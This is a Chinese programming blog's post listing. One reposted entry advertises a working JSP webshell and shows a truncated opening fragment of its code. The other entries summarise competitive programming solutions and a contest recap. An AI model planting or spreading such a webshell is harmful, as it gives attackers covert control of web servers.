- 博客(9)
- 资源 (3)
- 收藏
- 关注
转载 jsp webshell代码
网上找的webshell代码,自己实践的时候做了些bug修复,基本功能都可用<% String path=""; String selfName=""; boolean copyfinish=false;%><% selfName=request.getRequestURI(); // String editfile=""; String editfil
2016-02-17 17:03:42
879
原创 hdu 4864
100000的数据量,如果用二分图匹配的话边最多有10^10条....Hopcroft-Karp都过不了那就只能贪心了.首先发现y很小,才100,而且按照钱的计算方法,x起决定作用所以可以把tasks按x,y排序,x大的task优先完成然后就是如何贪心匹配了:对于task(tx,ty),首先肯定只能找machine(mx>=tx,my>=ty),如果只有一个的话那就直接选(因为
2014-08-10 16:57:08
298
原创 ACM2013南京赛总结
说实话,去的时候是抱着能拿银的心态去的,毕竟努力了这么久。最后只拿个铜其实挺失望的,不过赛后想想当时的情况,也明白其中的原因了。一开始比赛马上三人一人读一题,我读第一题超水题,速度敲完1Y,runid=11,感觉还不错。然后队友表示那两题都做不了,就继续看B题。B题跟我之前做过的一道题挺像的,复杂度确认没问题后就开始敲了,结果怒T了,不理解,看到全场就我们交了B题,而且佳俊表示J题想出来了,那
2013-11-05 19:06:42
521
原创 poj3557 一个很巧妙的概率dp
题目大意很简单,但是做起来实在很难。最开始看到N很小,想到的是状压dp,dp[i][st]表示考虑前i个点连出去的所有边,st是状态,如果某个点和1点连通,则此位为1然后转移就枚举i点往连的所有边的可能性...这样做复杂度为N*2^N*2^N...明显过不了然后实在想不出看了别人的做法,居然是N^2的!!别人的解释看得不怎么懂,自己YY了一个解释:dp[i]表示i个
2013-10-27 20:10:06
344
原创 旅行商问题、斯坦纳树问题小结
poj 3311旅行商问题题意就是从一个点出发遍历所有点回到原地所需最短时间状态dp[st][i]表示经过了st中标记的点,现在在i点的最小经过距离比较水,略了#include #include #include #include #include using namespace std;const int maxn=10+2;const int in
2013-10-25 20:00:01
658
原创 hdu 4090 bfs+dfs+状态压缩+hash判重
这是11年北京赛区的J题,最近拿来做的时候看这题第一反应就是bfs+dfs..结果交上去直接MLE了,自己测了个8*8的数据居然花了2G内存%>_后来仔细想想状态可以压缩起来存(因为颜色只有6种,一行最多8个,状压就是7^8,一个int就可以保存,这样只用一个长度为8的数组就可以了。然后因为会有很多重复的状态,用hash来判重。这样写完还出现了些小bug,d
2013-10-23 23:32:57
290
原创 poj3904 容斥原理
题目大意:给你N个数,求这N个数的所有大小为4的子集中,有多少个是4个数的gcd为1的。解法:先求有多少个gcd不为1的。容斥原理:若只考虑质因子a,b,则子集中gcd不为1的个数为C(4,有质因子a的数的个数)+C(4,有质因子b的数的个数)-C(4,同时有质因子a和b的数的个数)可以把有质因子a和有质因子b的数的个数存在count[a]和count[b]里面,把同时
2013-10-15 19:46:47
315
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人